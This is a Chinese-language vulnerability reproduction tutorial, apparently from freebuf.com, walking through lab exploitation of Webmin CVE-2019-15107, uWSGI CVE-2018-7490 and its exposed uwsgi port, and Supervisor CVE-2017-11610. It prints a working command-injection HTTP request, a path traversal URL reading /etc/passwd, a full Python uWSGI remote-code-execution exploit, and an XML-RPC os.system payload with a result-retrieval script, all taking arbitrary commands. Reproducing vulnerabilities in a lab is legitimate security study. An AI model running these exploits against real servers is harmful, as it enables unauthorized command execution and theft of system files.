0x01 Webmin (1.9.10)
Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。
CVE-2019-15107(远程命令执行漏洞)
启动环境后访问https://[ip]:10000,忽略证书后即可看到登录页面。
需要注意,必须开启“用户更改密码”,这里环境已经开启了,如果没有开启需要手动开启:
首先进入容器,修改root密码:
修改后登录webmin后修改配置:
在/etc/webmin/miniserv.conf中查看passwd_mode=2则说明修改成功。
开始复现
接下来开始复现,发送如下数据包,即可执行id命令:
POST /password_change.cgi HTTP/1.1
Host: [ip]:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://[ip]:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
可以看到id命令成功执行,并且回显到页面中,这里需要注意提交的参数中user参数的值不能是已知Linux用户才能够执行成功。
还需要注意发包时需要设置目标使用HTTPS:
0x02 uWSGI
uWSGI是一款Web应用程序服务器,它实现了WSGI、uwsgi和http等协议,并支持通过插件来运行各种语言,通常被用于运行Python WEB应用。uwsgi除了是应用容器的名称之外,它和Fastcgi之类的一样,也是前端server与后端应用容器之间的一个交流标准。目前nginx,apache也支持uwsgi协议进行代理转发请求。
CVE-2018-7490 (PHP目录穿越漏洞)
uWSGI 2.0.17之前的PHP插件,没有正确的处理DOCUMENT_ROOT检测,导致用户可以通过..%2f来跨越目录,读取或运行DOCUMENT_ROOT目录以外的文件。
启动环境后访问http://[ip]:8080/即可看到phpinfo信息,说明uwsgi-php服务器已成功运行:
开始复现
通过访问http://[ip]:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd,可以穿越目录并读取到passwd文件:
未授权访问漏洞
uWSGI支持通过魔术变量(Magic Variables)的方式动态配置后端Web应用。如果其端口暴露在外,攻击者可以构造uwsgi数据包,并指定魔术变量UWSGI_FILE,运用exec://协议执行任意命令。
环境启动后,访问http://[ip]:8080即可查看一个Web应用,其uwsgi暴露在8000端口。
开始复现
可以直接使用poc脚本执行任意命令,poc脚本如下:
#!/usr/bin/python
# coding: utf-8
######################
# Uwsgi RCE Exploit
######################
# Author: [email protected]
# Created: 2017-7-18
# Last modified: 2018-1-30
# Note: Just for research purpose
import sys
import socket
import argparse
import requests
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
return s[::-1]
def pack_uwsgi_vars(var):
pk = b''
for k, v in var.items() if hasattr(var, 'items') else var:
pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
result = b'\x00' + sz(pk) + b'\x00' + pk
return result
def parse_addr(addr, default_port=None):
port = default_port
if isinstance(addr, str):
if addr.isdigit():
addr, port = '', addr
elif ':' in addr:
addr, _, port = addr.partition(':')
elif isinstance(addr, (list, tuple, set)):
addr, port = addr
port = int(port) if port else port
return (addr or '127.0.0.1', port)
def get_host_from_url(url):
if '//' in url:
url = url.split('//', 1)[1]
host, _, url = url.partition('/')
return (host, '/' + url)
def fetch_data(uri, payload=None, body=None):
if 'http' not in uri:
uri = 'http://' + uri
s = requests.Session()
# s.headers['UWSGI_FILE'] = payload
if body:
import urlparse
body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
d = s.post(uri, data=body_d)
else:
d = s.get(uri)
return {
'code': d.status_code,
'text': d.text,
'header': d.headers
}
def ask_uwsgi(addr_and_port, mode, var, body=''):
if mode == 'tcp':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(parse_addr(addr_and_port))
elif mode == 'unix':
s = socket.socket(socket.AF_UNIX)
s.connect(addr_and_port)
s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
response = []
# Actually we dont need the response, it will block if we run any commands.
# So I comment all the receiving stuff.
# while 1:
# data = s.recv(4096)
# if not data:
# break
# response.append(data)
s.close()
return b''.join(response).decode('utf8')
def curl(mode, addr_and_port, payload, target_url):
host, uri = get_host_from_url(target_url)
path, _, qs = uri.partition('?')
if mode == 'http':
return fetch_data(addr_and_port + uri, payload)
elif mode == 'tcp':
host = host or parse_addr(addr_and_port)[0]
else:
host = addr_and_port
var = {
'SERVER_PROTOCOL': 'HTTP/1.1',
'REQUEST_METHOD': 'GET',
'PATH_INFO': path,
'REQUEST_URI': uri,
'QUERY_STRING': qs,
'SERVER_NAME': host,
'HTTP_HOST': host,
'UWSGI_FILE': payload,
'SCRIPT_NAME': target_url
}
return ask_uwsgi(addr_and_port, mode, var)
def main(*args):
desc = """
This is a uwsgi client & RCE exploit.
Last modifid at 2018-01-30 by [email protected]
"""
elog = "Example:uwsgi_exp.py -u 1.2.3.4:5000 -c \"echo 111>/tmp/abc\""
parser = argparse.ArgumentParser(description=desc, epilog=elog)
parser.add_argument('-m', '--mode', nargs='?', default='tcp',
help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
dest='mode', choices=['http', 'tcp', 'unix'])
parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
help='Uwsgi server: 1.2.3.4:5000 or /tmp/uwsgi.sock',
dest='uwsgi_addr')
parser.add_argument('-c', '--command', nargs='?', required=True,
help='Command: The exploit command you want to execute, must have this.',
dest='command')
if len(sys.argv) < 2:
parser.print_help()
return
args = parser.parse_args()
if args.mode.lower() == "http":
print("[-]Currently only tcp/unix method is supported in RCE exploit.")
return
payload = 'exec://' + args.command + "; echo test" # must have someting in output or the uWSGI crashs.
print("[*]Sending payload.")
print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp'))
if __name__ == '__main__':
main()
执行命令python poc.py -u [ip]:8000 -c "touch /tmp/success"
进入容器查看:
可以看到命令成功执行。
0x03 Supervisor
Supervisord是一款Python开发,用于管理后台应用(服务)的工具,其角色类似于Linux自带的Systemd。
CVE-2017-11610 (远程命令执行漏洞)
启动环境后访问http://[ip]:9001即可查看Supervisord的页面:
利用条件:
-
Supervisord版本在受影响的范围内
-
RPC端口可被访问
-
RPC无密码或密码脆弱
开始复现
直接发送如下数据包,即可执行touch /tmp/success命令:
POST /RPC2 HTTP/1.1
Host: [ip]:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
查看命令执行情况:
可以看到命令成功执行。
直接回显的poc
这里还有大佬的另一个思路,将执行的结果写入log文件,然后调用Supervisord自带的readLog方法读取log文件,将结果读出来。
poc脚本:
#!/usr/bin/env python3
import xmlrpc.client
import sys
target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0)
logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0)
print(result[len(old):])
执行poc脚本,输入命令:python [文件名] "[ip]:9001/RPC2" "[命令]":
可以看到成功执行命令,并且看到了回显。
来源:freebuf.com 2021-03-21 15:45:04 by: ATL安全团队

















